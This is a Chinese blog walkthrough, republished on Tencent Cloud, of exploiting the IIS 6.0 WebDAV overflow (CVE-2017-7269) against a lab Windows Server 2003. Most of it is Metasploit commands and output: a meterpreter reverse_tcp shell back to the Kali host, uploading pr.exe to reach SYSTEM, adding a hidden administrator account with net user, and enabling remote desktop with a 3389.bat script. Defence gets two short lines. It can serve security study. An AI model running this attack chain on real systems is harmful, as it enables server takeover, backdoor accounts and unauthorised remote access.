前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >IIS - 远程代码执行漏洞

IIS - 远程代码执行漏洞

作者头像
渗透攻击红队
发布2019-11-20 11:18:50
2.2K0
发布2019-11-20 11:18:50
举报
漏洞知识库

网络安全/渗透测试/代码审计/

关注

IIS - 远程代码执行漏洞

漏洞说明

开启WebDAV服务的IIS 6.0被爆存在缓存区溢出漏洞导致远程代码执行,目前针对Windows Server 2003 R2可以稳定利用,该漏洞最早在2016年7,8月份开始在野外被利用。

影响产品:Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0(目前已验证,其他版本尚未验证)

触发函数:ScStoragePathFromUrl函数

附加信息:ScStoragePathFromUrl函数被调用了两次

漏洞细节:在Windows Server 2003的IIS6.0的WebDAV服务的ScStoragePathFromUrl函数存在缓存区溢出漏洞

环境搭建

必须确保Kali Linux 和 Windows 2003 能够相互Ping通,IIS6.0,必须开启了WebDAV

Windows Server 2003 R2 32位 作为服务器 (IIS6.0,开启了WebDAV)
Kali Linux 作为攻击主机

在这里,我用到的网络连接方式是NET模式:用于共享主机的IP地址

Kali Linux 的 IP是:192.168.119.136

Windows 2003 的 IP是:192.168.119.134

准备工具

下载cve-2017-7269漏洞利用脚本

IIS代码执行脚本 - cve-2017-7269:https://github.com/zcgonvh/cve-2017-7269

下载好了,吧exp复制到kali的这个目录下:

/usr/share/metasploit-framework/modules/exploits/windows/iis

漏洞复现

启动Metasploit
msfconsole

使用cve-2017-7269这个攻击载荷
use exploit/windows/iis/cve-2017-7269

查看有哪些参数需要设置
show options
设置被攻击者(windows_2003)的IP
set RHOST 192.168.119.134

设置服务器的地址(Windows_2003)
set HttpHost 192.168.119.134

设置Kali的IP地址
set LHOST 192.168.119.136

设置Payload返回载荷
set payload windows/meterpreter/reverse_tcp

设置完之后就可以看到我们设置的参数:

msf exploit(windows/iis/cve-2017-7269) > show options

Module options (exploit/windows/iis/cve-2017-7269):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   HttpHost            192.168.119.134  yes       http host for target
   PhysicalPathLength  19               yes       length of physical path for target(include backslash)
   RHOST               192.168.119.134  yes       The target address
   RPORT               80               yes       The target port (TCP)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.119.136  yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Microsoft Windows Server 2003 R2

设置完之后,我们就可以使用命令:exploit

msf exploit(windows/iis/cve-2017-7269) > exploit

[*] Started reverse TCP handler on 192.168.119.136:4444
[*] Sending stage (179779 bytes) to 192.168.119.134
[*] Sleeping before handling stage...
[*] Meterpreter session 1 opened (192.168.119.136:4444 -> 192.168.119.134:1031) at 2019-08-03 14:14:40 +0800

meterpreter >

这个时候就可以执行shell命令了~

meterpreter > shell
[-] Failed to spawn shell with thread impersonation. Retrying without it.
Process 2044 created.
Channel 2 created.
Microsoft Windows [�汾 5.2.3790]
(C) ��Ȩ���� 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>

查看当前的权限:whoami

c:\windows\system32\inetsrv>whoami
whoami
nt authority\network service

c:\windows\system32\inetsrv>

network service是一个一般用户的权限

提权操作

使用MetasploitWindows-2003进行提权:

用到pr.exe提权exp

首先使用shell命令看看能不能创建文件夹:

c:\windows\system32\inetsrv>md 123
md 123
拒绝访问。

很显然不能,那么我们切换到C盘下再试试:

C:\>md 123
md 123

C:\>dir
dir
 驱动器 C 中的卷没有标签。
 卷的序列号是 88DC-ADF2

 C:\ 的目录

2019-08-05  13:42    <DIR>          123
2019-08-03  12:18                 0 AUTOEXEC.BAT
2019-08-03  12:18                 0 CONFIG.SYS
2019-08-03  12:22    <DIR>          Documents and Settings
2019-08-03  14:02    <DIR>          Inetpub
2019-08-03  12:23    <DIR>          Program Files
2019-08-03  14:02    <DIR>          WINDOWS
2019-08-03  12:18    <DIR>          wmpub
               2 个文件              0 字节
               6 个目录 22,927,130,624 可用字节

C:\>whoami
whoami
nt authority\network service

C:\>

这个时候是可以创建文件夹123,但是权限还是很小,只是一个服务器权限。

我们回到会话窗口:exit

使用upload命令在home目录上传pr.exe提权exp文件到2003服务器的C:\\123目录下:

 : /home/pr.exe -> c:\123
[*] uploaded   : /home/pr.exe -> c:\123\pr.exe
meterpreter >

meterpreter提示上传成功!我们切换到shell会话C盘下的123目录,看看pr.exe是否上传成功:

C:\123>dir
dir
 驱动器 C 中的卷没有标签。
 卷的序列号是 88DC-ADF2

 C:\123 的目录

2019-08-05  13:47    <DIR>          .
2019-08-05  13:47    <DIR>          ..
2019-08-05  13:47            73,728 pr.exe
               1 个文件         73,728 字节
               2 个目录 22,927,056,896 可用字节

C:\123>

成功上传pr.exe文件!我们首先执行一下whoami看看当前权限:

C:\123>whoami
whoami
nt authority\network service

权限很小!我们用pr.exe执行whoami看看:

C:\123>pr.exe whoami
pr.exe whoami
/xxoo/-->Build&&Change By KOOPie
/xxoo/-->Got WMI process Pid: 3852
/xxoo/-->Found token SYSTEM
/xxoo/-->Running command with SYSTEM Token...
/xxoo/-->Done, command should have ran as SYSTEM!
nt authority\system

这个时候就是一个系统管理权限:nt authority\system!

创建一个用户并提升为超级管理员权限

C:\123>pr.exe "net user liuwx liuwx123abc /add"
pr.exe "net user liuwx liuwx123abc /add"
/xxoo/-->Build&&Change By KOOPie
/xxoo/-->Got WMI process Pid: 3852
/xxoo/-->Found token SYSTEM
/xxoo/-->Running command with SYSTEM Token...
/xxoo/-->Done, command should have ran as SYSTEM!
命令成功完成。


C:\123>

liuwx用户添加进管理员组:

C:\123>pr.exe "net localgroup administrators liuwx /add"
pr.exe "net localgroup administrators liuwx /add"
/xxoo/-->Build&&Change By KOOPie
/xxoo/-->Got WMI process Pid: 3852
/xxoo/-->Found token SYSTEM
/xxoo/-->Running command with SYSTEM Token...
/xxoo/-->Done, command should have ran as SYSTEM!
命令成功完成。


C:\123>

由于我们已经添加了一个超级管理员的账号,这个时候我们要使用刚刚创建的账号进行远程登录它的那台服务器,前提是对方服务器开启了3389端口.

开启3389登录服务器

查看当前端口开放情况:

netstat -an

c:\windows\system32\inetsrv>netstat -an
netstat -an

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING
  TCP    192.168.119.134:139    0.0.0.0:0              LISTENING
  TCP    192.168.119.134:1046   192.168.119.136:4444   ESTABLISHED
  TCP    192.168.119.134:1047   192.168.119.136:4444   ESTABLISHED
  UDP    0.0.0.0:445            *:*
  UDP    0.0.0.0:500            *:*
  UDP    0.0.0.0:4500           *:*
  UDP    127.0.0.1:123          *:*
  UDP    192.168.119.134:123    *:*
  UDP    192.168.119.134:137    *:*
  UDP    192.168.119.134:138    *:*

c:\windows\system32\inetsrv>

从上面可以看到,它没有开放3389端口!我们是不能够进行远程链接到2003主机的。

这个时候就要用到3389批处理工具:

3389.bat文件上传到c:\\123目录中:

meterpreter > upload '/home/3389.bat' c:\\123
[*] uploading  : /home/3389.bat -> c:\123
[*] uploaded   : /home/3389.bat -> c:\123\3389.bat
meterpreter >

成功上传!这个时候,我们就需要用3389这个提权工具开启远程服务器的3389端口:

C:\123>pr.exe 3389.bat
pr.exe 3389.bat
/xxoo/-->Build&&Change By KOOPie
/xxoo/-->Got WMI process Pid: 2640
/xxoo/-->Found token SYSTEM
/xxoo/-->Running command with SYSTEM Token...
/xxoo/-->Done, command should have ran as SYSTEM!


提示你:3389已经开启


C:\123>netstat -an
netstat -an

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
  TCP    192.168.119.134:139    0.0.0.0:0              LISTENING
  TCP    192.168.119.134:1047   192.168.119.136:4444   ESTABLISHED
  UDP    0.0.0.0:445            *:*
  UDP    0.0.0.0:500            *:*
  UDP    0.0.0.0:4500           *:*
  UDP    127.0.0.1:123          *:*
  UDP    192.168.119.134:123    *:*
  UDP    192.168.119.134:137    *:*
  UDP    192.168.119.134:138    *:*
本机的IP是192.168.119.134

C:\123>

这个时候,服务器的3389服务就已经被开启了!

这个就是整个提权的一个过程,包括成功的登陆到远程服务器!

漏洞防御

1、关闭WebDAV服务

2、使用相关防护设备

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-09-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 漏洞知识库 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞说明
  • 环境搭建
  • 准备工具
  • 漏洞复现
  • 提权操作
    • 创建一个用户并提升为超级管理员权限
      • 开启3389登录服务器
      • 漏洞防御
      相关产品与服务
      网站渗透测试
      网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档